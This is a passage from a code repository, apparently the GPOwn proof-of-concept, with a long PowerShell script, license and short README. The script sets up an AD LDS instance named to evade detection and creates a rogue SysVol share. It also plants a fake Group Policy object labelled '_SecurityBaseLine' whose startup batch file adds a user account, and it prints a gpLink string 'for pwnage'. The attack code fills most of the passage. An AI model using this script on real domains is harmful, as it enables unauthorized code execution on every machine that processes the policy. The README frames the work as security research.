@(); "schemaNamingContext" = @(); "namingContexts" = @() } 402 | 403 | #build request 404 | $rq = new-object System.DirectoryServices.Protocols.SearchRequest 405 | $rq.DistinguishedName = $null 406 | $rq.Filter = "objectclass=*" 407 | $rq.Scope = "Base" 408 | $rq.Attributes.AddRange($propDef.Keys) | Out-Null 409 | $rq.TimeLimit = New-Object System.TimeSpan(0,0,4); 410 | $rsp = $LdapConnection.SendRequest($rq) 411 | $data = new-object PSObject -Property $propDef 412 | $data.configurationNamingContext = (($rsp.Entries[0].Attributes["configurationNamingContext"].GetValues([string]))[0]) #.Split(';')[1]; 413 | $data.schemaNamingContext = (($rsp.Entries[0].Attributes["schemaNamingContext"].GetValues([string]))[0]) #.Split(';')[1]; 414 | $data.namingContexts = ($rsp.Entries[0].Attributes["namingContexts"].GetValues([string])) #.Split(';')[2]; 415 | $LdapConnection.Dispose() 416 | return $data 417 | 418 | 419 | } 420 | catch 421 | { 422 | Write-Error $Error[0] 423 | return $false 424 | } 425 | 426 | } 427 | } 428 | 429 | 430 | function install 431 | { 432 | 433 | Begin 434 | { 435 | if($operation -eq "UniqueInstall") 436 | { $NewApplicationPartitionToCreate = $Partition } 437 | elseif($operation -eq "ReplicaInstall") 438 | { 439 | # replica 440 | $ApplicationPartitionsToReplicate = $Partition 441 | 442 | $nfFound = $false 443 | 444 | #check if the source LDAP is up and holds the naming context we want 445 | $NCList = Get-RootDSE -LdapServer $SourceServer -Port $SourceLDAPPort 446 | if($NCList -eq $false) 447 | { 448 | #could not connect and should see error in the get-rootdces func 449 | $false 450 | exit 451 | } 452 | foreach($nc in $NCList.namingContexts) 453 | { 454 | if(!($Partition)) 455 | { 456 | $nfFound = $True 457 | break 458 | } 459 | 460 | if($Partition.ToLower() -eq $nc.ToLower()) 461 | { 462 | #Write-Information "Source good" 463 | $nfFound = $True 464 | break 465 | } 466 | } 467 | 468 | 469 | if($nfFound ) 470 | { 471 | #source good 472 | #Write-Error "`r`nSource good" 473 | } 474 | else 475 | { 476 | Write-Error "`r`nYour replica source, $SourceServer : $SourceLDAPPort is is up but does not contain the partition $Partition " 477 | 478 | $false 479 | exit 480 | } 481 | } 482 | 483 | #validate the admin user or group exists 484 | if($Administrator) 485 | { 486 | if($Administrator -like "*@*") 487 | { 488 | $parts = $Administrator.Split("@") 489 | $prin = $parts[0] 490 | $domain = $parts[1] 491 | 492 | } 493 | elseif ($Administrator -like "*\*") 494 | { 495 | $parts = $Administrator.Split("\\") 496 | $prin = $parts[1] 497 | $domain = $parts[0] 498 | 499 | } 500 | else 501 | { 502 | #local domain 503 | $domain = $Env:USERDNSDOMAIN 504 | $prin = $Administrator 505 | } 506 | 507 | if(verifyPrincipal -userOrGroup $prin -theDomain $domain) 508 | { 509 | #echo woo1 510 | } 511 | } 512 | 513 | 514 | 515 | 516 | #verify the service account name 517 | if($ServiceAccount) 518 | { 519 | if(!($ServicePassword)) 520 | { 521 | Write-Error "`r`nYou entered a service account but no password.`r`nGood day!" 522 | $false 523 | exit 524 | } 525 | if ($ServiceAccount -like "*\*") 526 | { 527 | $partsSvc = $ServiceAccount.Split("\\") 528 | $svcprin = $partsSvc[1] 529 | $svcdomain = $partsSvc[0] 530 | if(verifyPrincipal -userOrGroup $svcprin -theDomain $svcdomain) 531 | { 532 | #Write-Error "`r`nService account exists" 533 | } 534 | 535 | } 536 | else 537 | { 538 | Write-Error "`r`nService account must be in domain\user format. You entered $ServiceAccount.`r`nGood day!! " 539 | $false 540 | exit 541 | } 542 | } 543 | else 544 | { 545 | Write-Host "No service account used. Running as network service" 546 | } 547 | 548 | 549 | 550 | if(-not $LocalLDAPPortToListenOn -and -not($LocalSSLPortToListenOn)) 551 | { 552 | $LocalLDAPPortToListenOn = "5389" 553 | $LocalSSLPortToListenOn = "5636" 554 | 555 | } 556 | 557 | } 558 | 559 | Process 560 | { 561 | # fun times 562 | [string] $theText = [string]::Empty 563 | if($operation -eq "UniqueInstall") 564 | { 565 | $instTy = "Unique" 566 | } 567 | else 568 | { 569 | $instTy = "Replica" 570 | } 571 | 572 | $theText+= "[ADAMInstall]`r`nInstallType=$instTy`r`n" 573 | $theText+= "AddPermissionsToServiceAccount=Yes`r`n" 574 | $theText+= "InstanceName=$InstanceName`r`n" 575 | $theText+= "LocalLDAPPortToListenOn=$LocalLDAPPortToListenOn`r`n" 576 | $theText+= "LocalSSLPortToListenOn=$LocalSSLPortToListenOn`r`n" 577 | if($Administrator) 578 | { 579 | $theText+= "Administrator=`"$Administrator`"`r`n" 580 | } 581 | 582 | 583 | if( $DataFilesPath -and $LogFilesPath) 584 | { 585 | $theText+= "DataFilesPath=$DataFilesPath`r`n" 586 | $theText+= "LogFilesPath=$LogFilesPath`r`n" 587 | } 588 | 589 | if($operation -eq "ReplicaInstall") 590 | { 591 | if($Partition) 592 | { 593 | $theText+= "ApplicationPartitionsToReplicate=`"$Partition`"`r`n" 594 | } 595 | 596 | $theText+= "SourceServer=$SourceServer`r`n" 597 | $theText+= "SourceLDAPPort=$SourceLDAPPort`r`n" 598 | $theText+= "SourceUserName=$SourceUserName`r`n" 599 | $theText+= "SourcePassword=$SourcePassword`r`n" 600 | 601 | 602 | } 603 | else 604 | { 605 | if($Partition) 606 | { 607 | $theText+= "NewApplicationPartitionToCreate=`"$Partition`"`r`n" 608 | } 609 | } 610 | 611 | #add service account 612 | if($ServiceAccount) 613 | { 614 | $theText+= "ServiceAccount=$ServiceAccount`r`n" 615 | $theText+= "ServicePassword=$ServicePassword`r`n" 616 | } 617 | 618 | #add ldifs 619 | if($ImportLDIFFiles) 620 | { 621 | #ImportLDIFFiles="ms-inetorgperson.ldf" "ms-user.ldf" 622 | [string[]] $schemFiles = $ImportLDIFFiles.Split(',').Trim() 623 | [string] $schemLine 624 | foreach($line in $schemFiles) 625 | { 626 | $schemLine += "`"$line`" " 627 | } 628 | $theText+= "ImportLDIFFiles= $schemLine`r`n" 629 | } 630 | 631 | #$theText 632 | #%systemroot%\ADAM\adaminstall.exe /answer:drive:\\.txt" 633 | $filepath = "$env:SystemRoot\ADAM\spFun.txt" 634 | try 635 | { 636 | $theText > $filepath 637 | } 638 | catch 639 | { 640 | Write-Error $Error[0] 641 | return $false 642 | 643 | } 644 | 645 | 646 | }#process 647 | 648 | End 649 | { 650 | #install! 651 | 652 | try 653 | { 654 | $theArgs = @("/answer:$env:SystemRoot\ADAM\spFun.txt") 655 | # $doIt = Invoke-Expression "$env:SystemRoot\ADAM\adaminstall.exe" -ArgumentList $theArgs -PassThru -Wait 656 | $doIt = Invoke-Expression "$env:SystemRoot\ADAM\adaminstall.exe /answer:$filepath" 657 | # $doIt = Invoke-Command -FilePath "$env:SystemRoot\ADAM\adaminstall.exe" -ArgumentList $theArgs 658 | 659 | 660 | if($doIt.length -gt 2) 661 | { 662 | $rrrrr = $doIt[$doIt.length -1] 663 | if($rrrrr -eq "You have successfully completed the Active Directory Lightweight Directory Services Setup Wizard.") 664 | { 665 | $delOut = Invoke-Expression "sdelete $filepath" 666 | $fileSufix = [guid]::NewGuid().ToString() 667 | $resFileName = "$env:SystemRoot\ADAM\installResult" + $fileSufix + ".txt" 668 | $doIt | Out-File -FilePath $resFileName -ErrorAction Stop 669 | #$doIt > $resFileName 670 | return $True 671 | } 672 | else 673 | { 674 | $rese = Get-ItemProperty -path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\ADAM_Installer_Results" -name ADAMInstallErrorMessage 675 | $catfood= $rese.ADAMInstallErrorMessage 676 | Write-Error "`r`nFailed to install ADAM instance due to $catfood" 677 | 678 | return $false 679 | } 680 | } 681 | 682 | 683 | 684 | 685 | } 686 | catch 687 | { 688 | $fail = $Error[0] 689 | return $false 690 | 691 | } 692 | } 693 | } 694 | 695 | function listInstances 696 | { 697 | 698 | [string[]]$thems = (gci -Path HKLM:\SYSTEM\CurrentControlSet\Services\DirectoryServices).PSchildname 699 | if($thems.Contains("Linkage")) 700 | { 701 | #Just a place holder 702 | } 703 | else 704 | { 705 | return $false 706 | } 707 | $instNames = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\DirectoryServices\Linkage -Name Export).Export 708 | 709 | [pscustomobject[]]$ints = @() 710 | #[int]$idx = 0 711 | foreach($inst in $instNames) 712 | { 713 | $stat = (Get-Service $inst).Status 714 | $funName = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\$inst).DisplayName 715 | $ldapPort = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\$inst\Parameters)."Port LDAP" 716 | $SSLPort = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\$inst\Parameters)."Port SSL" 717 | $oneInst = [pscustomobject] @{Name=$funName; Status=$stat; LDAPPort=$ldapPort; SSLPort=$SSLPort} 718 | #$ints[$idx] = $oneInst 719 | $ints += ($oneInst) 720 | } 721 | 722 | #get data about them 723 | Write-Debug "" 724 | return $ints 725 | 726 | } 727 | 728 | 729 | function validateInstallSettings 730 | { 731 | #we do stuff 732 | [bool]$valid = $True 733 | 734 | #valdate listenint prots 735 | if($LocalLDAPPortToListenOn -and -not($LocalSSLPortToListenOn)) 736 | { 737 | Write-Error "`r`nIf you specify -LocalLDAPPortToListenOn , you must specify -LocalSSLPortToListenOn and vice versa " 738 | $false 739 | exit 740 | } 741 | 742 | if($LocalSSLPortToListenOn -and -not($LocalLDAPPortToListenOn)) 743 | { 744 | Write-Error "`r`nIf you specify -LocalLDAPPortToListenOn , you must specify -LocalSSLPortToListenOn and vice versa " 745 | 746 | $false 747 | exit 748 | } 749 | 750 | 751 | 752 | if(!( $InstanceName)) 753 | { 754 | Write-Error "`r`nAn install needs an InstanceName " 755 | return $false 756 | 757 | } 758 | 759 | return $valid 760 | } 761 | 762 | 763 | 764 | 765 | #begin script 766 | $InstanceName = "ChangeMeToEvadeDetection" 767 | $bLDSInstalled = $false 768 | $operation = "UniqueInstall" 769 | $features = $null 770 | 771 | $domainDNS = "" 772 | 773 | $features = $null 774 | 775 | try 776 | { 777 | $features = Get-WindowsFeature 778 | } 779 | catch 780 | { 781 | # will try desktop below 782 | } 783 | 784 | 785 | if($features -eq $null) 786 | { 787 | #this is a desktop OS. 788 | $features = Get-WindowsOptionalFeature -Online -FeatureName DirectoryServices-ADAM-Client 789 | if($features.State -eq "Disabled") 790 | { 791 | Enable-WindowsOptionalFeature -FeatureName DirectoryServices-ADAM-Client -Online 792 | $features = Get-WindowsOptionalFeature -Online -FeatureName DirectoryServices-ADAM-Client 793 | if($features.State -eq "Enabled") 794 | { 795 | $bLDSInstalled = $true 796 | } 797 | 798 | } 799 | else 800 | { 801 | $bLDSInstalled = $true 802 | } 803 | 804 | 805 | } 806 | else 807 | { 808 | #look for ADLDS. This is a server OS 809 | $adlds = $features | ? {$_.Name -eq "ADLDS"} 810 | if($adlds.Installed -eq $true) 811 | { 812 | $bLDSInstalled = $true 813 | } 814 | else 815 | { 816 | $inst = Install-WindowsFeature ADLDS 817 | if($inst.Success -eq $true) 818 | { 819 | $bLDSInstalled = $true 820 | } 821 | } 822 | 823 | } 824 | 825 | if($bLDSInstalled) 826 | { 827 | ##move on 828 | Write-Host "AD/LDS is installed" 829 | } 830 | else 831 | { 832 | #fail 833 | Write-Warning "Can't get ADLDS Role installed" 834 | return 835 | } 836 | 837 | 838 | $fqdn = (Get-WmiObject win32_computersystem).DNSHostName+"."+(Get-WmiObject win32_computersystem).Domain 839 | $dnsParts = $fqdn.Split(".") 840 | $newDN = "" 841 | $bSkipOne = $true 842 | foreach($P in $dnsParts) 843 | { 844 | $newDN = $newDN + "DC=$P," 845 | if($bSkipOne) 846 | { 847 | $bSkipOne = $false 848 | } 849 | else 850 | { 851 | $domainDNS = $domainDNS + $P + "." 852 | } 853 | } 854 | 855 | $newDN = $newDN.Substring(0, $newDN.Length -1) 856 | 857 | $domainDNS = $domainDNS.Substring(0, $domainDNS.Length -1) 858 | 859 | [string]$Partition = $newDN 860 | 861 | [string]$LocalLDAPPortToListenOn = "389" 862 | 863 | [string]$LocalSSLPortToListenOn = "636" 864 | 865 | [string]$ImportLDIFFiles = "MS-adamschemaw2k8.LDF" 866 | 867 | $bPartSuccess = $false 868 | 869 | if(validateInstallSettings) 870 | { 871 | 872 | $currentInstances = listInstances 873 | 874 | if($currentInstances -eq $false) 875 | { 876 | #settings look right, lets install 877 | $happy = install 878 | 879 | if($happy) 880 | { 881 | $bPartSuccess = $True 882 | } 883 | else 884 | { 885 | $bPartSuccess = $false 886 | } 887 | } 888 | else 889 | { 890 | 891 | if( $currentInstances.Name.Contains("ChangeMeToEvadeDetection")) 892 | { 893 | Write-Host "LDS instance already in place" 894 | $happy = $True 895 | } 896 | else 897 | { 898 | #settings look right, lets install 899 | $happy = install 900 | } 901 | 902 | if($happy) 903 | { 904 | $bPartSuccess = $True 905 | } 906 | else 907 | { 908 | $bPartSuccess = $false 909 | } 910 | 911 | } 912 | } 913 | else 914 | { 915 | $bPartSuccess = $false 916 | } 917 | 918 | 919 | if($bPartSuccess) 920 | { 921 | 922 | # add authd users to LDS readers role S-1-5-11 923 | $readersDN = "CN=Readers,CN=Roles,"+ $Partition 924 | $DomCom = "" 925 | $DomUse = "" 926 | $DConts = "" 927 | 928 | 929 | $SIDS = @() 930 | $SIDS += $DomCom 931 | $SIDS += $DomUse 932 | $SIDS += $DConts 933 | 934 | #make sure the folks can read the GPOwns 935 | #Set-ADObject -Server localhost -Identity $readersDN -Add @{member=$SIDS} 936 | Set-LDAPObject -LdapServer localhost -obDN $readersDN -AtributeName member -Value $SIDS -Operation Add 937 | 938 | #SDDL for def securty on GPC objects 939 | #findSchma and gpC class 940 | $theRootDSE = $null 941 | $theRootDSE = Get-RootDSE -LdapServer localhost 942 | 943 | #$sys = New-ADObject -Server localhost -Path "$newDN" -Name System -Type container -PassThru 944 | $sys = New-LDAPObject -LdapServer localhost -obDN "CN=System,$($newDN)" -objectClass container 945 | 946 | if($sys -eq $false) 947 | { 948 | $sys = "CN=System,$($newDN)" 949 | } 950 | 951 | #$pol = New-ADObject -Server localhost -Path "$sys" -Name Policies -Type container -PassThru 952 | $pol = New-LDAPObject -LdapServer localhost -obDN "CN=Policies,$($sys)" -objectClass container 953 | 954 | if($pol -eq $false) 955 | { 956 | $pol = "CN=Policies,$($sys)" 957 | } 958 | 959 | 960 | $newGUID = "{" + ([guid]::NewGuid()).ToString() + "}" 961 | 962 | md c:\sysvol 963 | New-SmbShare -Name "SysVol" -Path "C:\sysvol" 964 | 965 | md c:\Sysvol\$domainDNS 966 | 967 | md c:\Sysvol\$domainDNS\Policies 968 | md "c:\Sysvol\$domainDNS\Policies\$newGUID" 969 | 970 | md "c:\Sysvol\$domainDNS\Policies\$newGUID\User" 971 | md "c:\Sysvol\$domainDNS\Policies\$newGUID\Machine" 972 | md "c:\Sysvol\$domainDNS\Policies\$newGUID\Machine\Scripts" 973 | md "c:\Sysvol\$domainDNS\Policies\$newGUID\Machine\Scripts\Startup" 974 | md "c:\Sysvol\$domainDNS\Policies\$newGUID\Machine\Scripts\Shutdown" 975 | 976 | 977 | $gpt = @' 978 | [General] 979 | Version=2 980 | displayName=New Group Policy Object 981 | 982 | '@ 983 | Set-Content -Path "c:\Sysvol\$domainDNS\Policies\$newGUID\GPT.INI" -Value $gpt 984 | 985 | 986 | $spts = @' 987 | 988 | [Startup] 989 | 0CmdLine=fun.bat 990 | 0Parameters= 991 | 992 | '@ 993 | 994 | Set-Content -Path "c:\Sysvol\$domainDNS\Policies\$newGUID\Machine\Scripts\scripts.ini" -Value $spts 995 | 996 | $su = @' 997 | rem sample attack here 998 | net user pwntest03 /add /active:no 999 | 1000 | '@ 1001 | Set-Content -Path "c:\Sysvol\$domainDNS\Policies\$newGUID\Machine\Scripts\Startup\fun.bat" -Value $su 1002 | 1003 | #create teh GPO object 1004 | 1005 | $gptPath = "\\$fqdn\SysVol\$domainDNS\Policies\$newGUID" 1006 | 1007 | 1008 | #$thePol = New-ADObject -Server localhost -Path "$($pol.DistinguishedName)" -PassThru -Type groupPolicyContainer -Name "$newGUID" -OtherAttributes @{displayName="_SecurityBaseLine";flags="0";gPCFileSysPath= $gptPath;gPCFunctionalityVersion=2;versionNumber="2";gPCMachineExtensionNames="[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]"} 1009 | 1010 | $thePol = New-LDAPObject -LdapServer localhost -obDN "CN=$($newGUID),$($pol)" -objectClass groupPolicyContainer 1011 | $ww = Set-LDAPObject -LdapServer localhost -obDN $thePol -Operation Add -AtributeName displayName -Value _SecurityBaseLine 1012 | $ww = Set-LDAPObject -LdapServer localhost -obDN $thePol -Operation Add -AtributeName flags -Value "0" 1013 | $ww = Set-LDAPObject -LdapServer localhost -obDN $thePol -Operation Add -AtributeName gPCFileSysPath -Value $gptPath 1014 | $ww = Set-LDAPObject -LdapServer localhost -obDN $thePol -Operation Add -AtributeName gPCFunctionalityVersion -Value "2" 1015 | $ww = Set-LDAPObject -LdapServer localhost -obDN $thePol -Operation Add -AtributeName versionNumber -Value "2" 1016 | $ww = Set-LDAPObject -LdapServer localhost -obDN $thePol -Operation Add -AtributeName gPCMachineExtensionNames -Value "[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]" 1017 | 1018 | #make sure the ACL is good. Need apply GPO guid edacfd8f-ffb3-11d1-b41d-00a0c968f939 1019 | 1020 | $preA = Get-LDAPObject -LdapServer localhost -SearchBase $thePol -LDAPFilter "objectClass=*" -Attributes ntSecurityDescriptor -Scope Base 1021 | $preB = $preA[$preA.Keys[0]].ntSecurityDescriptor 1022 | 1023 | $newSD = Update-LDAPSD -CurrentSD $preB 1024 | 1025 | $sss = Set-LDAPObjectBin -LdapServer localhost -obDN $thePol -Operation Replace -AtributeName ntSecurityDescriptor -Value $newSD 1026 | 1027 | #New-ADObject -Server localhost -Path "$($thePol.DistinguishedName)" -Name User -Type container -PassThru 1028 | $ww = New-LDAPObject -LdapServer localhost -obDN "CN=User,$($thePol)" -objectClass container 1029 | #New-ADObject -Server localhost -Path "$($thePol.DistinguishedName)" -Name Machine -Type container -PassThru 1030 | $ww = New-LDAPObject -LdapServer localhost -obDN "CN=Machine,$($thePol)" -objectClass container 1031 | 1032 | echo "Add this entry to a gpLink, for pwnage`r`n [LDAP://$($thePol);0]" 1033 | 1034 | } 1035 | 1036 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 markgamache 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GPOwn 2 | Do the unexpected with AD GPO processing 3 | 4 | The scripts are a PoC, vuln detection, and post exploit detection for this 5 | --------------------------------------------------------------------------------